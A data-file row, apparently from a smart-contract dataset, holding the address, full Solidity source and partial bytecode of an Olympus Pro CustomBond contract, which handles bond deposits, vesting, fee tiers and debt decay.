address
stringlengths
42
42
source_code
stringlengths
32
1.21M
bytecode
stringlengths
2
49.2k
slither
sequence
0xf2583814b7841044358c724567baf91a98adca34
// File contracts/libraries/SafeMath.sol pragma solidity 0.7.5; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } } pragma solidity 0.7.5; library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } pragma solidity 0.7.5; interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity 0.7.5; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File contracts/libraries/FullMath.sol pragma solidity 0.7.5; library FullMath { function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) { uint256 mm = mulmod(x, y, uint256(-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } function fullDiv( uint256 l, uint256 h, uint256 d ) private pure returns (uint256) { uint256 pow2 = d & -d; d /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint256 r = 1; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; return l * r; } function mulDiv( uint256 x, uint256 y, uint256 d ) internal pure returns (uint256) { (uint256 l, uint256 h) = fullMul(x, y); uint256 mm = mulmod(x, y, d); if (mm > l) h -= 1; l -= mm; require(h < d, 'FullMath::mulDiv: overflow'); return fullDiv(l, h, d); } } // File contracts/libraries/FixedPoint.sol pragma solidity 0.7.5; library Babylonian { function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } library BitMath { function mostSignificantBit(uint256 x) internal pure returns (uint8 r) { require(x > 0, 'BitMath::mostSignificantBit: zero'); if (x >= 0x100000000000000000000000000000000) { x >>= 128; r += 128; } if (x >= 0x10000000000000000) { x >>= 64; r += 64; } if (x >= 0x100000000) { x >>= 32; r += 32; } if (x >= 0x10000) { x >>= 16; r += 16; } if (x >= 0x100) { x >>= 8; r += 8; } if (x >= 0x10) { x >>= 4; r += 4; } if (x >= 0x4) { x >>= 2; r += 2; } if (x >= 0x2) r += 1; } } library FixedPoint { struct uq112x112 { uint224 _x; } struct uq144x112 { uint256 _x; } uint8 private constant RESOLUTION = 112; uint256 private constant Q112 = 0x10000000000000000000000000000; uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000; uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits) function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } function decode112with18(uq112x112 memory self) internal pure returns (uint) { return uint(self._x) / 5192296858534827; } function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, 'FixedPoint::fraction: division by zero'); if (numerator == 0) return FixedPoint.uq112x112(0); if (numerator <= uint144(-1)) { uint256 result = (numerator << RESOLUTION) / denominator; require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } else { uint256 result = FullMath.mulDiv(numerator, Q112, denominator); require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } } // square root of a UQ112x112 // lossy between 0/1 and 40 bits function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) { if (self._x <= uint144(-1)) { return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112))); } uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x); safeShiftBits -= safeShiftBits % 2; return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2))); } } // File contracts/interfaces/ITreasury.sol pragma solidity 0.7.5; interface ITreasury { function sendPayoutTokens(uint _amountPayoutToken) external; function valueOfToken( address _principalTokenAddress, uint _amount ) external view returns ( uint value_ ); function payoutToken() external view returns (address); } // File contracts/types/Ownable.sol pragma solidity 0.7.5; contract Ownable { address public policy; constructor () { policy = msg.sender; } modifier onlyPolicy() { require( policy == msg.sender, "Ownable: caller is not the owner" ); _; } function transferManagment(address _newOwner) external onlyPolicy() { require( _newOwner != address(0) ); policy = _newOwner; } } // File contracts/OlympusProCustomBond.sol // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; contract CustomBond is Ownable { using FixedPoint for *; using SafeERC20 for IERC20; using SafeMath for uint; /* ======== EVENTS ======== */ event BondCreated( uint deposit, uint payout, uint expires ); event BondRedeemed( address recipient, uint payout, uint remaining ); event BondPriceChanged( uint internalPrice, uint debtRatio ); event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition ); /* ======== STATE VARIABLES ======== */ IERC20 immutable private payoutToken; // token paid for principal IERC20 immutable private principalToken; // inflow token ITreasury immutable private customTreasury; // pays for and receives principal address immutable private olympusDAO; address private olympusTreasury; // receives fee address immutable private subsidyRouter; // pays subsidy in OHM to custom treasury uint public totalPrincipalBonded; uint public totalPayoutGiven; uint public totalDebt; // total value of outstanding bonds; used for pricing uint public lastDecay; // reference block for debt decay uint private payoutSinceLastSubsidy; // principal accrued since subsidy paid Terms public terms; // stores terms for new bonds Adjust public adjustment; // stores adjustment to BCV data FeeTiers[] private feeTiers; // stores fee tiers bool immutable private feeInPayout; mapping( address => Bond ) public bondInfo; // stores bond information for depositors /* ======== STRUCTS ======== */ struct FeeTiers { uint tierCeilings; // principal bonded till next tier uint fees; // in ten-thousandths (i.e. 33300 = 3.33%) } // Info for creating new bonds struct Terms { uint controlVariable; // scaling variable for price uint vestingTerm; // in blocks uint minimumPrice; // vs principal value uint maxPayout; // in thousandths of a %. i.e. 500 = 0.5% uint maxDebt; // payout token decimal debt ratio, max % total supply created as debt } // Info for bond holder struct Bond { uint payout; // payout token remaining to be paid uint vesting; // Blocks left to vest uint lastBlock; // Last interaction uint truePricePaid; // Price paid (principal tokens per payout token) in ten-millionths - 4000000 = 0.4 } // Info for incremental adjustments to control variable struct Adjust { bool add; // addition or subtraction uint rate; // increment uint target; // BCV when adjustment finished uint buffer; // minimum length (in blocks) between adjustments uint lastBlock; // block when last adjustment made } /* ======== CONSTRUCTOR ======== */ constructor( address _customTreasury, address _principalToken, address _olympusTreasury, address _subsidyRouter, address _initialOwner, address _olympusDAO, uint[] memory _tierCeilings, uint[] memory _fees, bool _feeInPayout ) { require( _customTreasury != address(0) ); customTreasury = ITreasury( _customTreasury ); payoutToken = IERC20( ITreasury(_customTreasury).payoutToken() ); require( _principalToken != address(0) ); principalToken = IERC20( _principalToken ); require( _olympusTreasury != address(0) ); olympusTreasury = _olympusTreasury; require( _subsidyRouter != address(0) ); subsidyRouter = _subsidyRouter; require( _initialOwner != address(0) ); policy = _initialOwner; require( _olympusDAO != address(0) ); olympusDAO = _olympusDAO; require(_tierCeilings.length == _fees.length, "tier length and fee length not the same"); for(uint i; i < _tierCeilings.length; i++) { feeTiers.push( FeeTiers({ tierCeilings: _tierCeilings[i], fees: _fees[i] })); } feeInPayout = _feeInPayout; } /* ======== INITIALIZATION ======== */ /** * @notice initializes bond parameters * @param _controlVariable uint * @param _vestingTerm uint * @param _minimumPrice uint * @param _maxPayout uint * @param _maxDebt uint * @param _initialDebt uint */ function initializeBond( uint _controlVariable, uint _vestingTerm, uint _minimumPrice, uint _maxPayout, uint _maxDebt, uint _initialDebt ) external onlyPolicy() { require( currentDebt() == 0, "Debt must be 0 for initialization" ); terms = Terms ({ controlVariable: _controlVariable, vestingTerm: _vestingTerm, minimumPrice: _minimumPrice, maxPayout: _maxPayout, maxDebt: _maxDebt }); totalDebt = _initialDebt; lastDecay = block.number; } /* ======== POLICY FUNCTIONS ======== */ enum PARAMETER { VESTING, PAYOUT, DEBT } /** * @notice set parameters for new bonds * @param _parameter PARAMETER * @param _input uint */ function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyPolicy() { if ( _parameter == PARAMETER.VESTING ) { // 0 require( _input >= 10000, "Vesting must be longer than 36 hours" ); terms.vestingTerm = _input; } else if ( _parameter == PARAMETER.PAYOUT ) { // 1 require( _input <= 1000, "Payout cannot be above 1 percent" ); terms.maxPayout = _input; } else if ( _parameter == PARAMETER.DEBT ) { // 2 terms.maxDebt = _input; } } /** * @notice set control variable adjustment * @param _addition bool * @param _increment uint * @param _target uint * @param _buffer uint */ function setAdjustment ( bool _addition, uint _increment, uint _target, uint _buffer ) external onlyPolicy() { require( _increment <= terms.controlVariable.mul( 30 ).div( 1000 ), "Increment too large" ); adjustment = Adjust({ add: _addition, rate: _increment, target: _target, buffer: _buffer, lastBlock: block.number }); } /** * @notice change address of Olympus Treasury * @param _olympusTreasury uint */ function changeOlympusTreasury(address _olympusTreasury) external { require( msg.sender == olympusDAO, "Only Olympus DAO" ); olympusTreasury = _olympusTreasury; } /** * @notice subsidy controller checks payouts since last subsidy and resets counter * @return payoutSinceLastSubsidy_ uint */ function paySubsidy() external returns ( uint payoutSinceLastSubsidy_ ) { require( msg.sender == subsidyRouter, "Only subsidy controller" ); payoutSinceLastSubsidy_ = payoutSinceLastSubsidy; payoutSinceLastSubsidy = 0; } /* ======== USER FUNCTIONS ======== */ /** * @notice deposit bond * @param _amount uint * @param _maxPrice uint * @param _depositor address * @return uint */ function deposit(uint _amount, uint _maxPrice, address _depositor) external returns (uint) { require( _depositor != address(0), "Invalid address" ); decayDebt(); uint nativePrice = trueBondPrice(); require( _maxPrice >= nativePrice, "Slippage limit: more than max price" ); // slippage protection uint value = customTreasury.valueOfToken( address(principalToken), _amount ); uint payout; uint fee; if(feeInPayout) { (payout, fee) = payoutFor( value ); // payout and fee is computed } else { (payout, fee) = payoutFor( _amount ); // payout and fee is computed _amount = _amount.sub(fee); } require( payout >= 10 ** payoutToken.decimals() / 100, "Bond too small" ); // must be > 0.01 payout token ( underflow protection ) require( payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage // total debt is increased totalDebt = totalDebt.add( value ); require( totalDebt <= terms.maxDebt, "Max capacity reached" ); // depositor info is stored bondInfo[ _depositor ] = Bond({ payout: bondInfo[ _depositor ].payout.add( payout ), vesting: terms.vestingTerm, lastBlock: block.number, truePricePaid: trueBondPrice() }); totalPrincipalBonded = totalPrincipalBonded.add(_amount); // total bonded increased totalPayoutGiven = totalPayoutGiven.add(payout); // total payout increased payoutSinceLastSubsidy = payoutSinceLastSubsidy.add( payout ); // subsidy counter increased if(feeInPayout) { customTreasury.sendPayoutTokens( payout.add(fee) ); if(fee != 0) { // if fee, send to Olympus treasury payoutToken.safeTransfer(olympusTreasury, fee); } } else { customTreasury.sendPayoutTokens( payout ); if(fee != 0) { // if fee, send to Olympus treasury principalToken.safeTransferFrom( msg.sender, olympusTreasury, fee ); } } principalToken.safeTransferFrom( msg.sender, address(customTreasury), _amount ); // transfer principal bonded to custom treasury // indexed events are emitted emit BondCreated( _amount, payout, block.number.add( terms.vestingTerm ) ); emit BondPriceChanged( _bondPrice(), debtRatio() ); adjust(); // control variable is adjusted return payout; } /** * @notice redeem bond for user * @return uint */ function redeem(address _depositor) external returns (uint) { Bond memory info = bondInfo[ _depositor ]; uint percentVested = percentVestedFor( _depositor ); // (blocks since last interaction / vesting term remaining) if ( percentVested >= 10000 ) { // if fully vested delete bondInfo[ _depositor ]; // delete user info emit BondRedeemed( _depositor, info.payout, 0 ); // emit bond data payoutToken.safeTransfer( _depositor, info.payout ); return info.payout; } else { // if unfinished // calculate payout vested uint payout = info.payout.mul( percentVested ).div( 10000 ); // store updated deposit info bondInfo[ _depositor ] = Bond({ payout: info.payout.sub( payout ), vesting: info.vesting.sub( block.number.sub( info.lastBlock ) ), lastBlock: block.number, truePricePaid: info.truePricePaid }); emit BondRedeemed( _depositor, payout, bondInfo[ _depositor ].payout ); payoutToken.safeTransfer( _depositor, payout ); return payout; } } /* ======== INTERNAL HELPER FUNCTIONS ======== */ /** * @notice makes incremental adjustment to control variable */ function adjust() internal { uint blockCanAdjust = adjustment.lastBlock.add( adjustment.buffer ); if( adjustment.rate != 0 && block.number >= blockCanAdjust ) { uint initial = terms.controlVariable; if ( adjustment.add ) { terms.controlVariable = terms.controlVariable.add( adjustment.rate ); if ( terms.controlVariable >= adjustment.target ) { adjustment.rate = 0; } } else { terms.controlVariable = terms.controlVariable.sub( adjustment.rate ); if ( terms.controlVariable <= adjustment.target ) { adjustment.rate = 0; } } adjustment.lastBlock = block.number; emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add ); } } /** * @notice reduce total debt */ function decayDebt() internal { totalDebt = totalDebt.sub( debtDecay() ); lastDecay = block.number; } /** * @notice calculate current bond price and remove floor if above * @return price_ uint */ function _bondPrice() internal returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 10 ** (uint256(payoutToken.decimals()).sub(5)) ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } else if ( terms.minimumPrice != 0 ) { terms.minimumPrice = 0; } } /* ======== VIEW FUNCTIONS ======== */ /** * @notice calculate current bond premium * @return price_ uint */ function bondPrice() public view returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 10 ** (uint256(payoutToken.decimals()).sub(5)) ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } } /** * @notice calculate true bond price a user pays * @return price_ uint */ function trueBondPrice() public view returns ( uint price_ ) { price_ = bondPrice().add(bondPrice().mul( currentOlympusFee() ).div( 1e6 ) ); } /** * @notice determine maximum bond size * @return uint */ function maxPayout() public view returns ( uint ) { return payoutToken.totalSupply().mul( terms.maxPayout ).div( 100000 ); } /** * @notice calculate user's interest due for new bond, accounting for Olympus Fee. If fee is in payout then takes in the already calcualted value. If fee is in principal token than takes in the amount of principal being deposited and then calculautes the fee based on the amount of principal and not in terms of the payout token * @param _value uint * @return _payout uint * @return _fee uint */ function payoutFor( uint _value ) public view returns ( uint _payout, uint _fee) { if(feeInPayout) { uint total = FixedPoint.fraction( _value, bondPrice() ).decode112with18().div( 1e11 ); _fee = total.mul( currentOlympusFee() ).div( 1e6 ); _payout = total.sub(_fee); } else { _fee = _value.mul( currentOlympusFee() ).div( 1e6 ); _payout = FixedPoint.fraction( customTreasury.valueOfToken(address(principalToken), _value.sub(_fee)), bondPrice() ).decode112with18().div( 1e11 ); } } /** * @notice calculate current ratio of debt to payout token supply * @notice protocols using Olympus Pro should be careful when quickly adding large %s to total supply * @return debtRatio_ uint */ function debtRatio() public view returns ( uint debtRatio_ ) { debtRatio_ = FixedPoint.fraction( currentDebt().mul( 10 ** payoutToken.decimals() ), payoutToken.totalSupply() ).decode112with18().div( 1e18 ); } /** * @notice calculate debt factoring in decay * @return uint */ function currentDebt() public view returns ( uint ) { return totalDebt.sub( debtDecay() ); } /** * @notice amount to decay total debt by * @return decay_ uint */ function debtDecay() public view returns ( uint decay_ ) { uint blocksSinceLast = block.number.sub( lastDecay ); decay_ = totalDebt.mul( blocksSinceLast ).div( terms.vestingTerm ); if ( decay_ > totalDebt ) { decay_ = totalDebt; } } /** * @notice calculate how far into vesting a depositor is * @param _depositor address * @return percentVested_ uint */ function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) { Bond memory bond = bondInfo[ _depositor ]; uint blocksSinceLast = block.number.sub( bond.lastBlock ); uint vesting = bond.vesting; if ( vesting > 0 ) { percentVested_ = blocksSinceLast.mul( 10000 ).div( vesting ); } else { percentVested_ = 0; } } /** * @notice calculate amount of payout token available for claim by depositor * @param _depositor address * @return pendingPayout_ uint */ function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) { uint percentVested = percentVestedFor( _depositor ); uint payout = bondInfo[ _depositor ].payout; if ( percentVested >= 10000 ) { pendingPayout_ = payout; } else { pendingPayout_ = payout.mul( percentVested ).div( 10000 ); } } /** * @notice current fee Olympus takes of each bond * @return currentFee_ uint */ function currentOlympusFee() public view returns( uint currentFee_ ) { uint tierLength = feeTiers.length; for(uint i; i < tierLength; i++) { if(totalPrincipalBonded < feeTiers[i].tierCeilings || i == tierLength - 1 ) { return feeTiers[i].fees; } } } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80637cbe044c116100de578063cea55f5711610097578063e0176de811610071578063e0176de8146106c8578063e392a262146106e6578063f5c2ab5b14610704578063fc7b9c18146107225761018e565b8063cea55f5714610652578063d502562514610670578063d7ccfb0b146106aa5761018e565b80637cbe044c146104855780638dbdbe6d146104a357806395a2251f1461050f578063a50603b214610567578063a9bc6b71146105c7578063cd1234b3146105e55761018e565b80633bfdd7de1161014b5780634799afda116101255780634799afda146103a8578063507930ec146103c6578063759076e51461041e5780637927ebf81461043c5761018e565b80633bfdd7de146102e45780633f0fb92f14610328578063451ee4a11461036c5761018e565b806301b88ee8146101935780630505c8c9146101eb5780630a7484891461021f5780631a3d00681461023d5780631e321a0f1461028b5780632bab6bde146102c6575b600080fd5b6101d5600480360360208110156101a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610740565b6040518082815260200191505060405180910390f35b6101f36107d7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102276107fb565b6040518082815260200191505060405180910390f35b6102896004803603608081101561025357600080fd5b81019080803515159060200190929190803590602001909291908035906020019092919080359060200190929190505050610851565b005b6102c4600480360360408110156102a157600080fd5b81019080803560ff16906020019092919080359060200190929190505050610a30565b005b6102ce610c4f565b6040518082815260200191505060405180910390f35b610326600480360360208110156102fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c55565b005b61036a6004803603602081101561033e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d93565b005b610374610e98565b6040518086151581526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b6103b0610ec9565b6040518082815260200191505060405180910390f35b610408600480360360208110156103dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f4f565b6040518082815260200191505060405180910390f35b610426611035565b6040518082815260200191505060405180910390f35b6104686004803603602081101561045257600080fd5b8101908080359060200190929190505050611058565b604051808381526020018281526020019250505060405180910390f35b61048d611265565b6040518082815260200191505060405180910390f35b6104f9600480360360608110156104b957600080fd5b810190808035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126b565b6040518082815260200191505060405180910390f35b6105516004803603602081101561052557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bb7565b6040518082815260200191505060405180910390f35b6105c5600480360360c081101561057d57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050611f62565b005b6105cf6120f7565b6040518082815260200191505060405180910390f35b610627600480360360208110156105fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121ca565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b61065a6121fa565b6040518082815260200191505060405180910390f35b61067861238c565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b6106b26123b0565b6040518082815260200191505060405180910390f35b6106d06124b7565b6040518082815260200191505060405180910390f35b6106ee61258b565b6040518082815260200191505060405180910390f35b61070c6125e7565b6040518082815260200191505060405180910390f35b61072a6125ed565b6040518082815260200191505060405180910390f35b60008061074c83610f4f565b90506000601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154905061271082106107a6578092506107d0565b6107cd6127106107bf84846125f390919063ffffffff16565b61267990919063ffffffff16565b92505b5050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061084c610836620f4240610828610812610ec9565b61081a6123b0565b6125f390919063ffffffff16565b61267990919063ffffffff16565b61083e6123b0565b6126c390919063ffffffff16565b905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610912576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61093f6103e8610931601e6007600001546125f390919063ffffffff16565b61267990919063ffffffff16565b8311156109b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f496e6372656d656e7420746f6f206c617267650000000000000000000000000081525060200191505060405180910390fd5b6040518060a00160405280851515815260200184815260200183815260200182815260200143815250600c60008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020155606082015181600301556080820151816004015590505050505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006002811115610afe57fe5b826002811115610b0a57fe5b1415610b7a57612710811015610b6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806136086024913960400191505060405180910390fd5b80600760010181905550610c4b565b60016002811115610b8757fe5b826002811115610b9357fe5b1415610c20576103e8811115610c11576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5061796f75742063616e6e6f742062652061626f766520312070657263656e7481525060200191505060405180910390fd5b80600760030181905550610c4a565b600280811115610c2c57fe5b826002811115610c3857fe5b1415610c4957806007600401819055505b5b5b5050565b60035481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d5057600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f00000000000000000000000015fddc0d0397117b46903c1f6c735b55755c2a3a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e54576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4f6e6c79204f6c796d7075732044414f0000000000000000000000000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c8060000160009054906101000a900460ff16908060010154908060020154908060030154908060040154905085565b600080601180549050905060005b81811015610f495760118181548110610eec57fe5b9060005260206000209060020201600001546002541080610f0f57506001820381145b15610f3c5760118181548110610f2157fe5b90600052602060002090600202016001015492505050610f4c565b8080600101915050610ed7565b50505b90565b6000610f59613523565b601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180608001604052908160008201548152602001600182015481526020016002820154815260200160038201548152505090506000610fe682604001514361274b90919063ffffffff16565b905060008260200151905060008111156110285761102181611013612710856125f390919063ffffffff16565b61267990919063ffffffff16565b935061102d565b600093505b505050919050565b600061105361104261258b565b60045461274b90919063ffffffff16565b905090565b6000807f0000000000000000000000000000000000000000000000000000000000000001156111015760006110b364174876e8006110a56110a08761109b6123b0565b612795565b612a76565b61267990919063ffffffff16565b90506110e4620f42406110d66110c7610ec9565b846125f390919063ffffffff16565b61267990919063ffffffff16565b